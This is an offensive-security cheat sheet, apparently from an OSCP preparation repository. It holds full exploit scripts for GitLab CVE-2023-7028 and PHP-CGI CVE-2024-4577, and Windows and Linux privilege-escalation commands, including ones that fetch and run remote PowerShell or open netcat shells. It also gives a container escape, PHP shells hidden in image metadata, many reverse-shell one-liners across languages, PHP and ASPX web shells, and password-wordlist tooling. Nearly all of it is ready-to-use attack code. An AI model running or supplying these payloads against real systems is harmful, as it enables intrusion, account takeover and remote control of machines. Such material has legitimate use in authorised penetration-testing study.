python3 gen_libc.py 
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

gcc -o exp exp.c
./exp

CVE-2023-7028: GitLab Account Takeover

https://github.com/V1lu0/CVE-2023-7028

https://github.com/Vozec/CVE-2023-7028

PoC

user[email][]=valid@email.com&user[email][]=attacker@email.com

Modified PoC from TryHackMe

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()

class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
            print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()

if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
		evil=args.evil
    )
    if not exploit.ask_reset():
        exit()

Execution

python3 exploit.py -u http://<RHOST> -t <EMAIL> -e <EMAIL>

CVE-2024-4577: PHP-CGI Argument Injection Vulnerability RCE

"""
PHP CGI Argument Injection (CVE-2024-4577) Remote Code Execution PoC
Discovered by: Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
Exploit By: Aliz (@AlizTheHax0r) and Sina Kheirkhah (@SinSinology) of watchTowr (@watchtowrcyber) 
Technical details: https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/?github
Reference: https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
"""

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchTowr-vs-php_cve-2024-4577.py
        (*) PHP CGI Argument Injection (CVE-2024-4577) discovered by Orange Tsai (@orange_8361) of DEVCORE (@d3vc0r3)
          - Aliz Hammond, watchTowr (aliz@watchTowr.com)
          - Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
        CVEs: [CVE-2024-4577]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)
print("(^_^) prepare for the Pwnage (^_^)\n")

parser = argparse.ArgumentParser(usage="""python CVE-2024-4577 --target https://192.168.1.1/index.php -c "<?php system('calc')?>""")
parser.add_argument('--target', '-t', dest='target', help='Target URL', required=True)
parser.add_argument('--code', '-c', dest='code', help='php code to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')


s = requests.Session()
s.verify = False



res = s.post(f"{args.target.rstrip('/')}?%ADd+allow_url_include%3d1+-d+auto_prepend_file%3dphp:https://input", data=f"{args.code};echo 1337; die;" )
if('1337' in res.text ):
    print('(+) Exploit was successful')
else:
    print('(!) Exploit may have failed')

GodPotato LPE

https://github.com/BeichenDream/GodPotato

.\GodPotato-NET4.exe -cmd '<COMMAND>'

Juicy Potato LPE

https://github.com/ohpe/juicy-potato

https://ohpe.it/juicy-potato/CLSID/

GetCLSID.ps1

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

Write-Output "Looking for CLSIDs"
$CLSID = @()
Foreach($ID in (Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}})){
    if ($ID.appid -ne $null){
        $CLSID += $ID
    }
}

Write-Output "Looking for APIDs"
$APPID = @()
Foreach($AID in (Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}})){
    if ($AID.LocalService -ne $null){
        $APPID += $AID
    }
}

Write-Output "Joining CLSIDs and APIDs"
$RESULT = @()
Foreach ($app in $APPID){
    Foreach ($CLS in $CLSID){
        if($CLS.AppId -eq $app.AppID){
            $RESULT += New-Object psobject -Property @{
                AppId    = $app.AppId
                LocalService = $app.LocalService
                CLSID = $CLS.CLSID
            }

            break
        }
    }
}

$RESULT = $RESULT | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

Execution

.\JuicyPotato.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p C:\Windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('https://<LHOST>/<FILE>.ps1')" -t *

JuicyPotatoNG LPE

https://github.com/antonioCoco/JuicyPotatoNG

.\JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c whoami"

MySQL 4.x/5.0 User-Defined Function (UDF) Dynamic Library (2) LPE

https://www.exploit-db.com/exploits/1518

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

mysql -u root

> use mysql;
> create table foo(line blob);
> insert into foo values(load_file('/PATH/TO/SHARED_OBJECT/raptor_udf2.so'));
> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
> create function do_system returns integer soname 'raptor_udf2.so';
> select do_system('chmod +s /bin/bash');

PrintSpoofer LPE

https://github.com/itm4n/PrintSpoofer

.\PrintSpoofer64.exe -i -c powershell

SharpEfsPotato LPE

https://github.com/bugch3ck/SharpEfsPotato

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "C:\nc64.exe -e cmd.exe <LHOST> <LPORT>"

Shocker Container Escape

https://raw.githubusercontent.com/gabrtv/shocker/master/shocker.c

Modifying Exploit

        // get a FS reference from something mounted in from outside
        if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
                die("[-] open");

        if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
                die("[-] Cannot find valid handle!");

Compiling

gcc shocker.c -o shocker
cc -Wall -std=c99 -O2 shocker.c -static

Payloads

Exiftool

PHP into JPG Injection

exiftool -Comment='<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"); ?>' shell.jpg
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' <FILE>.jpeg
exiftool "-comment<=back.php" back.png
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' <FILE>.png

Reverse Shells

Bash Reverse Shell

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
echo -n '/bin/bash -c "bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"' | base64

curl Reverse Shell

curl --header "Content-Type: application/json" --request POST http://<RHOST>:<RPORT>/upload --data '{"auth": {"name": "<USERNAME>", "password": "<PASSWORD>"}, "filename" : "& echo "bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1"|base64 -d|bash"}'

Groovy (Jenkins) Reverse Shell

String host="<LHOST>";
int port=<LPORT>;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

JAVA Reverse Shell

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<LHOST>/<LPORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

shell.jar

package <NAME>;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Main extends JavaPlugin {
   @Override
   public void onDisable() {
     super.onDisable();
   }

@Override
public void onEnable() {
  final String PHP_CODE = "<?php system($_GET['cmd']); ?>";
  try {
   Files.write(Paths.get("/var/www/<RHOST>/shell.php"), PHP_CODE.getBytes(), StandardOpenOption.CREATE_NEW);
   } catch (IOException e) {
     e.printStackTrace();
   }

   super.onEnable();
  }
}

Lua Reverse Shell

http://<RHOST>');os.execute("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT>/tmp/f")--

Markdown Reverse Shell

--';bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1;'--

mkfifo Reverse Shell

mkfifo /tmp/shell; nc <LHOST> <LPORT> 0</tmp/shell | /bin/sh >/tmp/shell 2>&1; rm /tmp/shell

Netcat Reverse Shell

nc -e /bin/sh <LHOST> <LPORT>

Perl Reverse Shell

perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP Reverse Shell

php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell Reverse Shell

$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell -nop -exec bypass -c '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

minireverse.ps1

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
        $writer.WriteLine($res)
    }
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Python Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

echo python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE><(),2);p=subprocess.call(["/bin/sh","-i"]);' > <FILE>

Ruby Reverse Shell

ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Web Shells

PHP Web Shell

<?php system($_GET['cmd']); ?>
<?php echo exec($_POST['cmd']); ?>
<?php echo passthru($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>
<?php echo system($_REQUEST['shell']): ?>

Templates

ASPX Web Shell

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Set s = CreateObject("WScript.Shell")
Set cmd = s.Exec("cmd /c powershell -c IEX (New-Object Net.Webclient).downloadstring('https://<LHOST>/shellyjelly.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
-->

Bad YAML

- hosts: localhost
  tasks:
    - name: badyml
      command: chmod +s /bin/bash

Wordlists

Bash

Add Numbers to Password Segment

for i in {1..100}; do printf "Password@%d\n" $i >> <FILE>; done

CeWL

cewl -d 0 -m 5 -w <FILE> http://<RHOST>/index.php --lowercase
cewl -d 5 -m 3 -w <FILE> http://<RHOST>/index.php --with-numbers

CUPP

./cupp -i

crunch

crunch 6 6 -t foobar%%% > wordlist
crunch 5 5 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ -o <FILE>.txt

JavaScript Quick Wordlist

javascript:(function(){const e=document.documentElement.innerText.match(/[a-zA-Z_\-]+/g),n=[...new Set(e)].sort();document.open(),document.write(n.join("<br>")),document.close();})();

Mutate Wordlists

Remove all Number Sequences

head /PATH/TO/WORDLIST/<WORDLIST> > <FILE>.txt
sed -i '/^1/d' <FILE>.txt

Username Anarchy

./username-anarchy -f first,first.last,last,flast,f.last -i <FILE>

rahmiy/OSCP-33

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